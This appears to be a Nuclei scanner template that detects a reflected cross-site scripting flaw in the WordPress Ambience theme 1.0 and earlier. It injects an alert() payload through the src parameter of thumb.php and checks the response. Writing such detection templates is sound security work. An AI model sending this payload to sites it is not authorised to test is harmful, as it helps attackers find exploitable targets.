id: wp-ambience-xss info: name: WordPress Ambience Theme <=1.0 - Cross-Site Scripting author: daffainfo severity: medium description: | WordPress Ambience Theme 1.0 and earlier was affected by a cross-site scripting vulnerability. reference: - https://www.exploit-db.com/expl oits/38568 - https://wpscan.com/vulnerability/c465e5c1-fe43-40e9-894a-97b8ac462381 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 metadata: max-request: 2 tags: wp-plugin,wp,edb,wpscan,wordpress,xss flow: http(1) && http(2) http: - method: GET path: - '{{BaseURL}}' matchers: - type: word internal: true words: - '/wp-content/themes/ambience/' - method: GET path: - '{{BaseURL}}/wp-content/themes/ambience/thumb.php?src=%3Cbody%20onload%3Dalert(1)%3E.jpg' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a00483046022100bc87c24b09cce6c9499a4fed4ea8c08cf8c3fe7bf32c7adc2c4caa122f5c1449022100c1691f167db07884795fd3a6522e6d94a9d8c4e1d6b1ccd660b93e197ef979e4:922c64590222798bb761d5b6d8e72950